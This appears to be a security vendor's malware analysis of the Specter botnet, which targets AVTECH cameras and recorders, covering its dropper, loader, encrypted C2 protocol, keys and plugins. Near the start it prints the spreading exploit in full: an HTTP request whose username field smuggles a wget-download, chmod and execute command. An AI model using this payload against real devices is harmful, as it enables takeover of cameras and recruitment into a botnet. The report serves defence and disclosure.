On August 20, 2020, 360Netlab Threat Detect System captured a suspicious ELF file (22523419f0404d628d02876e69458fbe.css)with 0 VT detection.

When we took a close look, we see a new botnet that targets AVTECH IP Camera / NVR / DVR devices, and it has flexible configuration, highly modular / plugin, and uses TLS, ChaCha20, Lz4 to encrypt and compress network traffic.

The ELF we captured is Dropper, it releases a loader, and the loader will send encrypted traffic requests various Plugins from C2 to perform different functions. The sample build path is /build/arm-specter-linux-uclibcgnueabi, that is why we named it Specter.

At present, Specter has a lot of unprofessional aspects. For example, it releases two libraries required by runtime while releasing Loader, but they are all dynamically linked.We also noticed that Plugin does not expand and load directly in memory.The vulnerability being targeted is also quite old, a 5 years old on. On the other hand, this botnet has a good layered design, complex network communication and some other characteristics,which is obviously a work of professional. Professional aspects come with unprofessional aspects, this contradiction makes us speculate that Specter is in the test development stage. We will see how it goes in the future.


Specter is a remote control Trojan (RAT) for the Linux platform.

It consists of 3 parts, Dropper, Loader, and Plugin. The main function is determined by Loader&Plugin. The main functions of Specter are

  • File management

  • Download and upload management

  • Shell service

  • Socket5 Proxy

  • Report device information

  • Execute the script issued by C2

  • Executing C2 to deliver executable files

The basic process is shown in the figure below:


Specter spread its Dropper samples throughAVTECH IP Camera / NVR / DVR Devices vulnerabilities,The payload being used is as follows:

GET /cgi-bin/nobody/Search.cgi?action=cgi_query&;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&password=admin HTTP/1.1
Host: {}:4443
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Content-Type: text/plain; charset=utf-8

Sample analysis

Specter's infection process can be divided into 4 stages.,

  • Stage 0: Preliminary stage, spread through vulnerabilities, implant Dropper on the device
  • Stage 1: Dropper releases Loader
  • Stage 2: Loading stage, Loader loads Plugin
  • Stage 3: Plugin executes the instructions issued by C2

Stage1:Stage1: Release stage, Specter_Dropper analysis

The main function of the dropper is to detect the operating environment, decrypt the Loader, configure the Config, and finally release and start the Loader.


ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped


  • 1.1 Decrypt Loader

Decryption algorithm:XOR byte by byte 0x79, then negate.

Along with the loaders, the runtime library, and are also decrypted.Currently these two libraries have no malicious functions, but we speculate that future versions will hijack some functions of these two libraries to hide the existence of Specter from file, process and networks’ perspectives

  • 1.2 Configure Config

Look for the written position mark in the Loader sample SpctCF, and then write Config at its subsequent address.。

The comparison is as follows:

  • 1.3 Release and execute Loader

Release Loader to the/tmp/runtimes/hw_ex_watchdog file and run it, and later on delete itself to clean up the traces of Dropper。

Stage2: Loading stage, Specter_Loader analysis

The main function of Loader is to decrypt Config, obtain C2 from it, establish encrypted communication with C2, and execute the instructions issued by C2. If there is no Plugin for processing the corresponding instructions, it will request the required Plugin from C2.


ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped


  • 2.1 Decrypt Config

There are C2, mutex name, nonce and other information in the Config file, ChaCha20 encryption is used, where the key is CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\x00 and the number of rounds is 15.

The detailed Config structure is shown below:,

Take the Config in the above figure as an example, the nonce (12 bytes) required for decryption is:

c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70

The ciphertext is:

94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06 
1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69 
88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B 
33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F 
13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF 
06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA
6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7

After decryption, we get the following plaintext, we can see that C2 is and mutex is fb4mi5a

00000000  f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22  |ô6ÎW°FÒ.'.¦.þWâ"|
00000010  52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a  |R4.ð@Mb...niE.¾j|
00000020  66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00  |fb4mi5a.........|
00000030  31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03  ||
00000040  00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00  |...443..........|
00000050  00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00  |................|
00000060  00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00     |........Z...<..|
  • 2.2 Establish communication with C2

The communication process can be divided into 4 stages, using TLS, ChaCha20 encryption algorithm, lz4 compression algorithm to ensure the security of data communication.The first stage is to establish a TLS connection, the second stage is the process of mutual agreement authentication, the third stage is the Loader reporting device information, and the fourth stage executes the C2 issuing instruction process.

TLS communication

In order to analyze the network traffic, we performed a Man-in-the-middle attack,and can see the result as follows. It can be seen that Specter's network communication packet has a fixed format.

Packets can be divided into four parts, the detailed structure is shown below:,

Where Encrypted Payload_info stores the payload verification, length, ID and other info.[Encrypted?]Compressed Payload is the payload itself, the payload will only be compressed during the key exchange stage, while in all the other stages it gets both encrypted and compressed.

Let’s take a look at the above figure, the data packet that Bot sends to C2 for secret key exchange

The encryption algorithm used in the first part(ncrypted Payload_info) is:

Key:		36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34 
			61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65
Nonce:		E7 66 29 FB 10 98 F6 5A 80 80 FF 58	

The ciphertext is:

0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9

after decryption:

C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00

3EC9		---- CRC16 of Payload
0001		---- Cmd Id
00000022	Compressed Payload length
00000020	Decomressed Payload length

The value of Cmd Id is 1, indicating that it is in the key exchange stage, directly decompress [Encrypted?]Compressed Payload and get the key sent by Bot to C2

01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20

The protocol authentication process can be divided into two stages, the first stage is the key exchange, and the second stage is the mutual recognition of identity.

According to the data packet decryption process introduced above, we will get.

The secret key sent by Bot to C2 is:

01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20

The secret key sent by C2 to Bot is:

19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33
96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C

In the secret key exchange phase, the payload is only compressed without encryption; after the secret key is exchanged, Bot and C2 encrypt and compress the payload with each other's secret key.

It can be solved with the above secret key.

The authentication information sent by Bot to C2 is:

00000000:  44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39  DHn74sdPOqnSd259

The authentication information sent by C2 to Bot is:

00000000:  6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34  l0SO8hFUxbVsdtQ4

This is consistent with the implementation we saw in the sample:

  • 2.3 Report device information, such as MAC/IP address, system type, etc.

  • 2.4 Execute the start Plugin command issued by C2

Specter implements a very flexible plugin management communication mechanism, each plugin must implement the following 4 methods,

If there is no corresponding Plugin currently, a request is made to C2 and finally dynamically loaded into Loader Plugin Slot.

Stage3: Specter_Plugin analysis

When the bot gets the Plugin issued by C2, it cannot be used directly, because they are encrypted and can only be loaded into the Plugin Slot for use after decryption.
Decryption algorithm: XOR 0x7f byte by byte, then negate

Here are some plugins we captured:

Shell plugin

Plugin id: 1


ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped

The main function of Shell plugin is to create SHELL service.

File plugin

Plugin id: 2


ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped

The main function of the File plugin is file management. In addition to supporting read, write, delete, and search operations on file directories, it may also download/upload files from a designated server.

Socket Plugin

Plugin id: 3


ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped

The main function of Socket Plugin is to start Socket5 proxy.

SSF Plugin

Plugin id: 5


ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped

The main function of SSF Plugin is to download an executable file from a specified server to a local /tmp/runtimes/httpd_log_output file, and then execute it.。


We recommend that readers monitor and block Specter related IP, URL and samples.


Readers are always welcomed to reach us on twitter , WeChat 360Netlab or email to netlab at 360 dot cn.


CC	ASN25820|IT7_Networks_Inc	United_States|California|Los_Angeles

Sample MD5